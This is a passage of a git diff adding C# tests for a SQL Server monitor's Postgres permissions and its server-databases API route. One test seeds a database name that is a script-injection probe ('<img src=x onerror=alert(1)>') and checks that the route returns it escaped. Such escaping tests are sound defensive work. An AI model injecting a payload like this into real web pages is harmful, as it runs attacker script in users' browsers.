+        return (string)(await read.ExecuteScalarAsync(ct))!;
+    }
+
+    /// <summary>
+    /// The edit's one write as the viewer role (#5240): a direct UPDATE of host is denied, and the function refuses a move
+    /// of host that keeps the stored secret on a SQL or service-principal row (the row is unchanged), saves it with a new
+    /// secret, answers a stale token as a conflict, saves a name change on a secret row and a Windows-auth host move with no secret.
+    /// </summary>
+    [Fact]
+    public async Task AsTheViewerRole_TheEditFunction_RefusesAMoveThatKeepsTheSecret_AndSavesTheRest()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_fn_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var asViewer = await ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, "INSERT INTO config_monitored_servers (server_id, name, host, auth, username, encrypted_password) VALUES (7101, 'a', 'a.example.test', 'sql', 'monitor', 'blob-a'), (7102, 'b', 'b.example.test', 'serviceprincipal', 'client-id', 'blob-b'), (7103, 'c', 'c.example.test', 'integrated', NULL, NULL)", ct);
+            var host = new[] { Col("host", NpgsqlTypes.NpgsqlDbType.Text, "moved.example.test") };
+            var secret = Col("encrypted_password", NpgsqlTypes.NpgsqlDbType.Text, "blob-new");
+
+            var denied = await Assert.ThrowsAsync<PostgresException>(async () =>
+            {
+                await using var update = asViewer.CreateCommand("UPDATE config_monitored_servers SET host = 'moved.example.test' WHERE server_id = 7101");
+                await update.ExecuteNonQueryAsync(ct);
+            });
+            Assert.Equal("42501", denied.SqlState);
+
+            foreach (var id in new[] { 7101, 7102 })
+            {
+                var before = await RowAsync(owner, id, "host, encrypted_password, modified_at", ct);
+                var token = DateTime.Parse(before.Split('|')[2], System.Globalization.CultureInfo.InvariantCulture);
+                Assert.Equal("password_needed", (await CallEditAsync(asViewer, id, token, host, ct)).Outcome);
+                Assert.Equal(before, await RowAsync(owner, id, "host, encrypted_password, modified_at", ct));
+            }
+
+            await using var stamp = owner.CreateCommand("SELECT modified_at FROM config_monitored_servers WHERE server_id = 7101");
+            var read = (DateTime)(await stamp.ExecuteScalarAsync(ct))!;
+            var saved = await CallEditAsync(asViewer, 7101, read, [host[0], secret], ct);
+            Assert.Equal("saved", saved.Outcome);
+            Assert.True(saved.Token > read);
+            Assert.Equal("moved.example.test|blob-new", await RowAsync(owner, 7101, "host, encrypted_password", ct));
+
+            Assert.Equal("conflict", (await CallEditAsync(asViewer, 7101, read, [Col("name", NpgsqlTypes.NpgsqlDbType.Text, "late")], ct)).Outcome);
+            Assert.Equal("not_found", (await CallEditAsync(asViewer, 999999, read, host, ct)).Outcome);
+
+            await using var stamp2 = owner.CreateCommand("SELECT modified_at FROM config_monitored_servers WHERE server_id = 7102");
+            var read2 = (DateTime)(await stamp2.ExecuteScalarAsync(ct))!;
+            Assert.Equal("password_needed", (await CallEditAsync(asViewer, 7102, read2, [Col("encrypt_mode", NpgsqlTypes.NpgsqlDbType.Text, "Optional")], ct)).Outcome);
+            Assert.Equal("Mandatory|blob-b", await RowAsync(owner, 7102, "encrypt_mode, encrypted_password", ct));
+            Assert.Equal("saved", (await CallEditAsync(asViewer, 7102, read2, [Col("name", NpgsqlTypes.NpgsqlDbType.Text, "b-renamed")], ct)).Outcome);
+            Assert.Equal("b-renamed|blob-b", await RowAsync(owner, 7102, "name, encrypted_password", ct));
+
+            await using var stamp3 = owner.CreateCommand("SELECT modified_at FROM config_monitored_servers WHERE server_id = 7103");
+            var read3 = (DateTime)(await stamp3.ExecuteScalarAsync(ct))!;
+            Assert.Equal("saved", (await CallEditAsync(asViewer, 7103, read3, host, ct)).Outcome);
+            Assert.Equal("moved.example.test", await RowAsync(owner, 7103, "host", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    /// <summary>
+    /// The edit function refuses the same connection changes the route refuses (#5240): on a secret row, a direct call as the
+    /// viewer role with no new secret answers <c>password_needed</c> and leaves the row unchanged for each of port, database,
+    /// read-only intent, authentication, username, encrypt mode, certificate trust and multi-subnet failover. A change of
+    /// only the display name, and a change that comes with a new secret, still save.
+    /// </summary>
+    [Fact]
+    public async Task AsTheViewerRole_TheEditFunction_RefusesEveryConnectionChangeThatKeepsTheSecret()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_fnc_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var asViewer = await ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(owner, "INSERT INTO config_service (id) VALUES (1) ON CONFLICT DO NOTHING", ct);
+            await ExecAsync(owner, "INSERT INTO config_monitored_servers (server_id, name, host, port, database, auth, username, encrypted_password, encrypt_mode, trust_server_certificate, read_only_intent, multi_subnet_failover) VALUES (7201, 'a', 'a.example.test', 1433, 'master', 'sql', 'monitor', 'blob-a', 'Mandatory', false, false, false)", ct);
+            const string cols = "name, host, port, database, auth, username, encrypted_password, encrypt_mode, trust_server_certificate, read_only_intent, multi_subnet_failover, modified_at";
+
+            var changes = new (string Label, DarlingMcpServerAdminTools.EditColumnValue Change)[]
+            {
+                ("port", Col("port", NpgsqlTypes.NpgsqlDbType.Integer, 1444)),
+                ("database", Col("database", NpgsqlTypes.NpgsqlDbType.Text, "other")),
+                ("read_only_intent", Col("read_only_intent", NpgsqlTypes.NpgsqlDbType.Boolean, true)),
+                ("auth", Col("auth", NpgsqlTypes.NpgsqlDbType.Text, "serviceprincipal")),
+                ("username", Col("username", NpgsqlTypes.NpgsqlDbType.Text, "someone-else")),
+                ("encrypt_mode", Col("encrypt_mode", NpgsqlTypes.NpgsqlDbType.Text, "Optional")),
+                ("trust_server_certificate", Col("trust_server_certificate", NpgsqlTypes.NpgsqlDbType.Boolean, true)),
+                ("multi_subnet_failover", Col("multi_subnet_failover", NpgsqlTypes.NpgsqlDbType.Boolean, true)),
+            };
+
+            foreach (var (label, change) in changes)
+            {
+                var before = await RowAsync(owner, 7201, cols, ct);
+                var token = DateTime.Parse(before.Split('|')[^1], System.Globalization.CultureInfo.InvariantCulture);
+                Assert.True("password_needed" == (await CallEditAsync(asViewer, 7201, token, [change], ct)).Outcome, $"{label} change with no new secret was not refused");
+                Assert.Equal(before, await RowAsync(owner, 7201, cols, ct));
+            }
+
+            var current = await RowAsync(owner, 7201, cols, ct);
+            var currentToken = DateTime.Parse(current.Split('|')[^1], System.Globalization.CultureInfo.InvariantCulture);
+            var renamed = await CallEditAsync(asViewer, 7201, currentToken, [Col("name", NpgsqlTypes.NpgsqlDbType.Text, "renamed")], ct);
+            Assert.Equal("saved", renamed.Outcome);
+            Assert.Equal("renamed|blob-a", await RowAsync(owner, 7201, "name, encrypted_password", ct));
+
+            var withSecret = await CallEditAsync(asViewer, 7201, renamed.Token!.Value,
+                [Col("database", NpgsqlTypes.NpgsqlDbType.Text, "other"), Col("encrypted_password", NpgsqlTypes.NpgsqlDbType.Text, "blob-new")], ct);
+            Assert.Equal("saved", withSecret.Outcome);
+            Assert.Equal("other|blob-new", await RowAsync(owner, 7201, "database, encrypted_password", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    /// <summary>The batch's REVOKE (#5240) takes away any UPDATE an earlier build gave viewer (column-level or table-level),
+    /// every run, and a second run changes nothing.</summary>
+    [Fact]
+    public async Task EveryRunOfTheBatch_TakesAnyViewerUpdateOnTheMonitoredServersTableAway_AndIsIdempotent()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var roleName = "srv_rst_" + Guid.NewGuid().ToString("N")[..8];
+        var (scratch, owner, ownerString) = await OpenAsync(ct);
+        await using var _ = scratch;
+        await using var __ = owner;
+        await using var asViewer = await ProvisionAsync(owner, ownerString, roleName, null, ct);
+        var bodySucceeded = false;
+        try
+        {
+            Assert.Equal("", await GrantedUpdateColumnsAsync(owner, roleName, ct));
+            await ExecAsync(owner, $"GRANT UPDATE (name, host, encrypted_password, modified_at) ON config.config_monitored_servers TO {roleName}", ct);
+            Assert.NotEqual("", await GrantedUpdateColumnsAsync(owner, roleName, ct));
+            await ExecAsync(owner, $"GRANT UPDATE ON config.config_monitored_servers TO {roleName}", ct);
+            Assert.True(await HasTableLevelUpdateAsync(owner, roleName, ct), "setup: the table-level UPDATE did not take");
+
+            foreach (var run in new[] { 1, 2 })
+            {
+                await RunViewerStatementsAsync(owner, roleName, ct);
+                Assert.Equal("", await GrantedUpdateColumnsAsync(owner, roleName, ct));
+                Assert.False(await HasTableLevelUpdateAsync(owner, roleName, ct), $"run {run} left a table-level UPDATE");
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () => ExecAsync(owner, $"DROP OWNED BY {roleName}; DROP ROLE IF EXISTS {roleName};", CancellationToken.None));
+        }
+    }
+
+    private static async Task<string> GrantedUpdateColumnsAsync(NpgsqlDataSource owner, string roleName, CancellationToken ct)
+    {
+        await using var granted = owner.CreateCommand(
+            "SELECT COALESCE(string_agg(column_name, ',' ORDER BY column_name COLLATE \"C\"), '') FROM information_schema.column_privileges " +
+            $"WHERE grantee = '{roleName}' AND table_schema = 'config' AND table_name = 'config_monitored_servers' AND privilege_type = 'UPDATE'");
+        return (string)(await granted.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task RunViewerStatementsAsync(NpgsqlDataSource owner, string roleName, CancellationToken ct)
+    {
+        foreach (var statement in ViewerStatements(roleName, DatabaseOf(owner.ConnectionString), null))
+        {
+            await ExecAsync(owner, statement, ct);
+        }
+    }
+
+    private static async Task<bool> HasTableLevelUpdateAsync(NpgsqlDataSource owner, string roleName, CancellationToken ct)
+    {
+        await using var tableLevel = owner.CreateCommand($"SELECT has_table_privilege('{roleName}', 'config.config_monitored_servers', 'UPDATE')");
+        return (bool)(await tableLevel.ExecuteScalarAsync(ct))!;
+    }
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, CancellationToken ct)
+    {
+        await using var command = source.CreateCommand(sql);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ServerConnectPolicyTests.cs b/Darling/Darling.Tests/ServerConnectPolicyTests.cs
index f116dd1ee6..a098548429 100644
--- a/Darling/Darling.Tests/ServerConnectPolicyTests.cs
+++ b/Darling/Darling.Tests/ServerConnectPolicyTests.cs
@@ -69,6 +69,8 @@ public void ADefinitionEdit_ResetsTheBackoff()
         var worker = (DarlingWorker)RuntimeHelpers.GetUninitializedObject(typeof(DarlingWorker));
         typeof(DarlingWorker).GetField("_logger", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, NullLogger<DarlingWorker>.Instance);
+        typeof(DarlingWorker).GetField("_collectorFaultStacks", BindingFlags.NonPublic | BindingFlags.Instance)!
+            .SetValue(worker, new CollectorFaultStackLog());
 
         var list = Activator.CreateInstance(typeof(List<>).MakeGenericType(loopState))!;
         list.GetType().GetMethod("Add")!.Invoke(list, new[] { state });
@@ -125,6 +127,8 @@ public async Task DeadServers_DoNotHoldFleetPermits_WhileTheirConnectsAreInFligh
         var worker = (DarlingWorker)RuntimeHelpers.GetUninitializedObject(typeof(DarlingWorker));
         typeof(DarlingWorker).GetField("_logger", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, NullLogger<DarlingWorker>.Instance);
+        typeof(DarlingWorker).GetField("_collectorFaultStacks", BindingFlags.NonPublic | BindingFlags.Instance)!
+            .SetValue(worker, new CollectorFaultStackLog());
         typeof(DarlingWorker).GetField("_connectProbeGate", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, probeGate);
         /* A dead server: the connect parks (SqlClient's 15 s) and never answers. */
@@ -249,6 +253,8 @@ private static DarlingWorker NewWorker(SemaphoreSlim probeGate, Func<MonitoredSe
         var worker = (DarlingWorker)RuntimeHelpers.GetUninitializedObject(typeof(DarlingWorker));
         typeof(DarlingWorker).GetField("_logger", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, NullLogger<DarlingWorker>.Instance);
+        typeof(DarlingWorker).GetField("_collectorFaultStacks", BindingFlags.NonPublic | BindingFlags.Instance)!
+            .SetValue(worker, new CollectorFaultStackLog());
         typeof(DarlingWorker).GetField("_connectProbeGate", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, probeGate);
         worker.ConnectOverride = connect;
@@ -375,6 +381,8 @@ private static DarlingWorker NewWorker()
         var worker = (DarlingWorker)RuntimeHelpers.GetUninitializedObject(typeof(DarlingWorker));
         typeof(DarlingWorker).GetField("_logger", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, NullLogger<DarlingWorker>.Instance);
+        typeof(DarlingWorker).GetField("_collectorFaultStacks", BindingFlags.NonPublic | BindingFlags.Instance)!
+            .SetValue(worker, new CollectorFaultStackLog());
         typeof(DarlingWorker).GetField("_connectProbeGate", BindingFlags.NonPublic | BindingFlags.Instance)!
             .SetValue(worker, new SemaphoreSlim(ServerConnectProbe.GateWidth, ServerConnectProbe.GateWidth));
         return worker;
@@ -464,8 +472,6 @@ public async Task ADefinitionEditDuringTheAttempt_IsConnectedAgainWithTheNewDefi
         var original = new MonitoredServer { Name = "s", Host = "old.invalid", StoredServerId = 7 };
         var edited = new MonitoredServer { Name = "s", Host = "new.invalid", StoredServerId = 7 };
         var state = ServerConnectBackoffTests.NewLoopState(LoopState, original);
-        /* Skip the self-alert pass: it needs the store, and this test is about the connect. */
-        Set(state, "NextSelfAlertSweep", DateTime.UtcNow.AddSeconds(20));
         var list = Activator.CreateInstance(typeof(List<>).MakeGenericType(LoopState))!;
         list.GetType().GetMethod("Add")!.Invoke(list, new[] { state });
 
diff --git a/Darling/Darling.Tests/ServerDatabasesEndpointLiveTests.cs b/Darling/Darling.Tests/ServerDatabasesEndpointLiveTests.cs
new file mode 100644
index 0000000000..e8a5cb1871
--- /dev/null
+++ b/Darling/Darling.Tests/ServerDatabasesEndpointLiveTests.cs
@@ -0,0 +1,555 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Net;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Hosting;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5245: <c>GET /api/server-databases</c> through a real host over a live store. The list is the user databases the
+/// store has collected for ONE server, from BOTH views the desktop picker reads (<c>v_database_config</c> and
+/// <c>v_database_size_stats</c>), de-duplicated, with the system databases removed, and a name that is markup travels as
+/// JSON data. Skipped without <c>DARLING_TEST_PG</c>, like its siblings.
+/// </summary>
+/* #1776: seeds and reads registry + database rows on the SHARED store, so it serializes with the other live classes
+   that do. */
+[Collection("live-postgres")]
+public sealed class ServerDatabasesEndpointLiveTests
+{
+    private const int ServerId = 5_245_001;
+    private const string ServerName = "srv5245-endpoint-live";
+    private const int OtherServerId = 5_245_002;
+    private const string OtherServerName = "srv5245-endpoint-other";
+
+    /// <summary>A name that is markup: it must come back as a string value, never be interpreted.</summary>
+    private const string MarkupName = "<img src=x onerror=alert(1)>";
+
+    [Fact]
+    public async Task TheRoute_AnswersTheUserDatabasesOfOneServer_FromBothViews_WithSystemDatabasesRemoved_AndMarkupAsData()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live #5245 server-databases route test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await InsertServerAsync(connection, ServerId, ServerName, ct);
+            await InsertServerAsync(connection, OtherServerId, OtherServerName, ct);
+            var now = DateTime.UtcNow;
+
+            /* v_database_config only, v_database_size_stats only, and both (AppB); two system databases. */
+            await InsertAsync(connection, "database_config", "config_id", "capture_time", ServerId, ServerName, "AppA", now, ct);
+            await InsertAsync(connection, "database_config", "config_id", "capture_time", ServerId, ServerName, "AppB", now, ct);
+            await InsertAsync(connection, "database_config", "config_id", "capture_time", ServerId, ServerName, "master", now, ct);
+            await InsertAsync(connection, "database_size_stats", "collection_id", "collection_time", ServerId, ServerName, "AppB", now, ct);
+            await InsertAsync(connection, "database_size_stats", "collection_id", "collection_time", ServerId, ServerName, "AppC", now, ct);
+            await InsertAsync(connection, "database_size_stats", "collection_id", "collection_time", ServerId, ServerName, "tempdb", now, ct);
+            await InsertAsync(connection, "database_size_stats", "collection_id", "collection_time", ServerId, ServerName, MarkupName, now, ct);
+            /* Another server's database must not leak into this server's list. */
+            await InsertAsync(connection, "database_config", "config_id", "capture_time", OtherServerId, OtherServerName, "OtherOnly", now, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(connectionString!);
+            var builder = WebApplication.CreateBuilder();
+            builder.WebHost.UseTestServer();
+            builder.Logging.ClearProviders();
+            await using var app = builder.Build();
+            DarlingServerDatabasesEndpoint.Map(app, postgres, app.Logger);
+            await app.StartAsync(ct);
+            using var client = app.GetTestClient();
+
+            using var response = await client.GetAsync("/api/server-databases?server=" + Uri.EscapeDataString(ServerName), ct);
+            var text = await response.Content.ReadAsStringAsync(ct);
+            Assert.Equal(HttpStatusCode.OK, response.StatusCode);
+            Assert.Equal("application/json", response.Content.Headers.ContentType?.MediaType);
+
+            using var doc = JsonDocument.Parse(text);
+            Assert.Equal(ServerName, doc.RootElement.GetProperty("server").GetString());
+            Assert.False(doc.RootElement.GetProperty("truncated").GetBoolean());
+            var names = doc.RootElement.GetProperty("databases").EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+            /* Both views, de-duplicated, system databases gone, the other server's database absent. The ORDER BY is
+               the database collation's, so the set is compared in ordinal order. */
+            Assert.Equal(
+                new[] { "AppA", "AppB", "AppC", MarkupName }.OrderBy(n => n, StringComparer.Ordinal).ToArray(),
+                names.OrderBy(n => n, StringComparer.Ordinal).ToArray());
+
+            /* Markup is data: the angle brackets are escaped in the body, so the raw text holds no tag at all. */
+            Assert.DoesNotContain("<img", text, StringComparison.Ordinal);
+            Assert.DoesNotContain("<", text, StringComparison.Ordinal);
+
+            /* Only GET is mapped, and an unknown server is the shared 400 refusal, not an empty list. */
+            using var post = await client.PostAsync("/api/server-databases", new System.Net.Http.StringContent("{}"), ct);
+            Assert.Equal(HttpStatusCode.MethodNotAllowed, post.StatusCode);
+            using var unknown = await client.GetAsync("/api/server-databases?server=" + Uri.EscapeDataString("no-such-server-5245"), ct);
+            Assert.Equal(HttpStatusCode.BadRequest, unknown.StatusCode);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task TheRoute_StopsAtItsCap_AndSaysTruncated_OnlyWhenOneMoreDatabaseExists()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live #5245 server-databases cap test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await InsertServerAsync(connection, ServerId, ServerName, ct);
+            var cap = DarlingServerDatabasesEndpoint.MaxDatabases;
+            Assert.Equal(5000, cap);
+
+            /* Exactly cap databases: every name comes back and nothing is cut. */
+            await InsertManyAsync(connection, ServerId, ServerName, 1, cap, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(connectionString!);
+            var builder = WebApplication.CreateBuilder();
+            builder.WebHost.UseTestServer();
+            builder.Logging.ClearProviders();
+            await using var app = builder.Build();
+            DarlingServerDatabasesEndpoint.Map(app, postgres, app.Logger);
+            await app.StartAsync(ct);
+            using var client = app.GetTestClient();
+            var url = "/api/server-databases?server=" + Uri.EscapeDataString(ServerName);
+
+            using (var exact = await client.GetAsync(url, ct))
+            {
+                Assert.Equal(HttpStatusCode.OK, exact.StatusCode);
+                using var doc = JsonDocument.Parse(await exact.Content.ReadAsStringAsync(ct));
+                Assert.Equal(cap, doc.RootElement.GetProperty("databases").GetArrayLength());
+                Assert.False(doc.RootElement.GetProperty("truncated").GetBoolean());
+            }
+
+            /* One more (cap + 1): the cap's worth of names, in name order, and truncated. The extra name is the last in
+               name order, so it is the one left out. */
+            await InsertManyAsync(connection, ServerId, ServerName, cap + 1, cap + 1, ct);
+            using (var cut = await client.GetAsync(url, ct))
+            {
+                Assert.Equal(HttpStatusCode.OK, cut.StatusCode);
+                using var doc = JsonDocument.Parse(await cut.Content.ReadAsStringAsync(ct));
+                var names = doc.RootElement.GetProperty("databases").EnumerateArray().Select(e => e.GetString()!).ToArray();
+                Assert.Equal(cap, names.Length);
+                Assert.True(doc.RootElement.GetProperty("truncated").GetBoolean());
+                Assert.DoesNotContain(CapName(cap + 1), names);
+                Assert.Contains(CapName(1), names);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>#5314: with more databases than the route's cap, a database past the cap is absent from the plain list
+    /// (<c>truncated</c> is true), and the same route with <c>search</c> finds it. Seeded at the real cap (5,001 numbered names
+    /// plus one name that sorts after all of them), so the whole path runs at its real size.</summary>
+    [Fact]
+    public async Task TheRoute_Search_FindsADatabasePastTheCap_ThePlainListLeavesOut()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live #5314 server-databases search test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await InsertServerAsync(connection, ServerId, ServerName, ct);
+            var cap = DarlingServerDatabasesEndpoint.MaxDatabases;
+            await InsertManyAsync(connection, ServerId, ServerName, 1, cap + 1, ct);
+            const string Past = "zz_past_the_cap_5314";
+            await InsertAsync(connection, "database_config", "config_id", "capture_time", ServerId, ServerName, Past, DateTime.UtcNow, ct);
+
+            await using var postgres = NpgsqlDataSource.Create(connectionString!);
+            var builder = WebApplication.CreateBuilder();
+            builder.WebHost.UseTestServer();
+            builder.Logging.ClearProviders();
+            await using var app = builder.Build();
+            DarlingServerDatabasesEndpoint.Map(app, postgres, app.Logger);
+            await app.StartAsync(ct);
+            using var client = app.GetTestClient();
+            var url = "/api/server-databases?server=" + Uri.EscapeDataString(ServerName);
+
+            var (plainNames, plainCut) = await GetAsync(client, url, ct);
+            Assert.Equal(cap, plainNames.Length);
+            Assert.True(plainCut);
+            Assert.DoesNotContain(Past, plainNames);
+
+            // A blank search reads as no search: the same cut list.
+            var (blankNames, blankCut) = await GetAsync(client, url + "&search=%20%20", ct);
+            Assert.Equal(cap, blankNames.Length);
+            Assert.True(blankCut);
+
+            // The search reaches past the cap, case-insensitively, and the answer is whole (nothing more to say).
+            var (found, foundCut) = await GetAsync(client, url + "&search=" + Uri.EscapeDataString("PAST_THE"), ct);
+            Assert.Equal(new[] { Past }, found);
+            Assert.False(foundCut);
+
+            // A search that matches more than the cap is cut at the cap, with the flag.
+            var (many, manyCut) = await GetAsync(client, url + "&search=cap5245_", ct);
+            Assert.Equal(cap, many.Length);
+            Assert.True(manyCut);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>#5314: <c>%</c>, <c>_</c> and the escape character in a search match only themselves.</summary>
+    [Fact]
+    public async Task TheRoute_Search_MatchesPercentUnderscoreAndBackslashOnlyAsThemselves()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live #5314 server-databases wildcard test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await InsertServerAsync(connection, ServerId, ServerName, ct);
+            var now = DateTime.UtcNow;
+            foreach (var name in new[] { "pct%name", "pctXname", "und_name", "undXname", "back\\slash", "backXslash", "Plain" })
+            {
+                await InsertAsync(connection, "database_config", "config_id", "capture_time", ServerId, ServerName, name, now, ct);
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(connectionString!);
+            var builder = WebApplication.CreateBuilder();
+            builder.WebHost.UseTestServer();
+            builder.Logging.ClearProviders();
+            await using var app = builder.Build();
+            DarlingServerDatabasesEndpoint.Map(app, postgres, app.Logger);
+            await app.StartAsync(ct);
+            using var client = app.GetTestClient();
+            var url = "/api/server-databases?server=" + Uri.EscapeDataString(ServerName) + "&search=";
+
+            Assert.Equal(new[] { "pct%name" }, (await GetAsync(client, url + Uri.EscapeDataString("pct%"), ct)).Names);
+            Assert.Equal(new[] { "und_name" }, (await GetAsync(client, url + Uri.EscapeDataString("und_"), ct)).Names);
+            Assert.Equal(new[] { "back\\slash" }, (await GetAsync(client, url + Uri.EscapeDataString("back\\"), ct)).Names);
+            // A lone wildcard is a character to find, not "everything": no name holds a bare percent sign before "X".
+            Assert.Empty((await GetAsync(client, url + Uri.EscapeDataString("%X"), ct)).Names);
+            Assert.Equal(new[] { "und_name" }, (await GetAsync(client, url + Uri.EscapeDataString("UND_NAME"), ct)).Names);
+            // Without a search every name comes back.
+            Assert.Equal(7, (await GetAsync(client, "/api/server-databases?server=" + Uri.EscapeDataString(ServerName), ct)).Names.Length);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await CleanupAsync(cleanup, cleanupCt));
+        }
+    }
+
+    /// <summary>#5314: the route's row counts and its truncated flag, asserted over a handful of rows through a small cap,
+    /// so they fail on their own and not only through the constant (an off-by-one in the extra-row probe, or a search that
+    /// limits after instead of before, changes a count here).</summary>
+    [Fact]
+    public async Task TheRoute_RowCountsAndTruncatedFlag_HoldAtASmallCap_WithAndWithoutSearch()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live #5314 server-databases small-cap test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await CleanupAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await InsertServerAsync(connection, ServerId, ServerName, ct);
+            var now = DateTime.UtcNow;
+            // Five names: three "alpha" ones, then "beta1" and "beta2".
+            foreach (var name in new[] { "alpha1", "alpha2", "alpha3", "beta1", "beta2" })
+            {
+                await InsertAsync(connection, "database_config", "config_id", "capture_time", ServerId, ServerName, name, now, ct);
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(connectionString!);
+            var builder = WebApplication.CreateBuilder();
+            builder.WebHost.UseTestServer();
+            builder.Logging.ClearProviders();
+            await using var app = builder.Build();
+            DarlingServerDatabasesEndpoint.Map(app, postgres, app.Logger, 3);
+            await app.StartAsync(ct);
+            using var client = app.GetTestClient();
+            var url = "/api/server-databases?server=" + Uri.EscapeDataString(ServerName);
+
+            // Five names, a cap of three: the first three by name, cut.
+            var plain = await GetAsync(client, url, ct);
+            Assert.Equal(new[] { "alpha1", "alpha2", "alpha3" }, plain.Names);
+            Assert.True(plain.Truncated);
+
+            // The search narrows BEFORE the limit: both "beta" names come back (they are past the cap in the plain list), not cut.
+            var beta = await GetAsync(client, url + "&search=BETA", ct);
+            Assert.Equal(new[] { "beta1", "beta2" }, beta.Names);
+            Assert.False(beta.Truncated);
+
+            // Exactly the cap's worth of matches is not cut; one more is.
